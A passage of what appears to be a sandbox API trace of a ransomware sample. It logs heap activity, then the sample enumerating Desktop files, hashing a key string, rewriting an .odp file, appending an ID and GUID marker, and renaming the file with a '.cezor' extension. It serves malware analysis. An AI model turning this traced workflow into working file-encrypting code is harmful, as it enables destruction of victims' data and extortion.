lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.634] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.634] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.634] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.634] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.634] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.634] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.634] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.634] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.634] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.634] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.634] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.634] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.634] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.634] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.634] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.634] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.634] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.634] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.634] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.634] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.635] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.636] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.636] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.637] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.638] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.638] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.638] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.638] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.638] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.638] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.638] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.638] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.638] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.638] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.638] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.638] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\") returned="Qz91k6FGRf5u2kNaQ\\" [0060.638] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0060.638] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0060.638] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.638] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0060.638] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0060.638] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0060.638] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.638] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0060.638] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0060.638] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.638] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0060.638] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.638] PathFindFileNameW (pszPath="") returned="" [0060.638] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.638] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e9dd40, ftCreationTime.dwHighDateTime=0x1d4d470, ftLastAccessTime.dwLowDateTime=0x20d7360, ftLastAccessTime.dwHighDateTime=0x1d4d03f, ftLastWriteTime.dwLowDateTime=0x20d7360, ftLastWriteTime.dwHighDateTime=0x1d4d03f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0060.639] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.639] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e9dd40, ftCreationTime.dwHighDateTime=0x1d4d470, ftLastAccessTime.dwLowDateTime=0x20d7360, ftLastAccessTime.dwHighDateTime=0x1d4d03f, ftLastWriteTime.dwLowDateTime=0x20d7360, ftLastWriteTime.dwHighDateTime=0x1d4d03f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.639] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0320ac0, ftCreationTime.dwHighDateTime=0x1d4cd80, ftLastAccessTime.dwLowDateTime=0xfba86320, ftLastAccessTime.dwHighDateTime=0x1d4d0bd, ftLastWriteTime.dwLowDateTime=0xfba86320, ftLastWriteTime.dwHighDateTime=0x1d4d0bd, nFileSizeHigh=0x0, nFileSizeLow=0x658d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4k4 81HVDXuJOl.odp", cAlternateFileName="4K481H~1.ODP")) returned 1 [0060.639] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.639] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0060.639] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.639] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\4k4 81HVDXuJOl.odp") returned=".odp" [0060.639] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\4k4 81HVDXuJOl.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\4k4 81hvdxujol.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.639] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=25997) returned 1 [0060.639] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.641] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6567, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.641] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.651] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.651] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x658d, lpOverlapped=0x0) returned 1 [0060.651] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.651] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.651] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.651] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.652] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.652] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.652] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.652] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.652] GetLastError () returned 0x0 [0060.652] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.652] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x6590) returned 0x31218d0 [0060.652] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.652] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x6588, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x6588, lpOverlapped=0x0) returned 1 [0060.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0060.653] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x658d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.653] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.653] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.653] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.653] CloseHandle (hObject=0x5c4) returned 1 [0060.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee788 [0060.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8b0) returned 0x3100c28 [0060.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee788 | out: hHeap=0x670000) returned 1 [0060.655] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\4k4 81HVDXuJOl.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\4k4 81hvdxujol.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\4k4 81HVDXuJOl.odp.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\4k4 81hvdxujol.odp.cezor")) returned 1 [0060.655] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.655] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.656] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0060.656] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcab73890, ftCreationTime.dwHighDateTime=0x1d4c785, ftLastAccessTime.dwLowDateTime=0x24e8e3f0, ftLastAccessTime.dwHighDateTime=0x1d4cab9, ftLastWriteTime.dwLowDateTime=0x24e8e3f0, ftLastWriteTime.dwHighDateTime=0x1d4cab9, nFileSizeHigh=0x0, nFileSizeLow=0x18289, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eMppgNp_d0eONIt.mp4", cAlternateFileName="EMPPGN~1.MP4")) returned 1 [0060.656] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.656] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0060.656] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.656] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\eMppgNp_d0eONIt.mp4") returned=".mp4" [0060.656] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qz91k6FGRf5u2kNaQ\\eMppgNp_d0eONIt.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qz91k6fgrf5u2knaq\\emppgnp_d0eonit.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.656] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=98953) returned 1 [0060.656] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.659] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x18263, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.659] 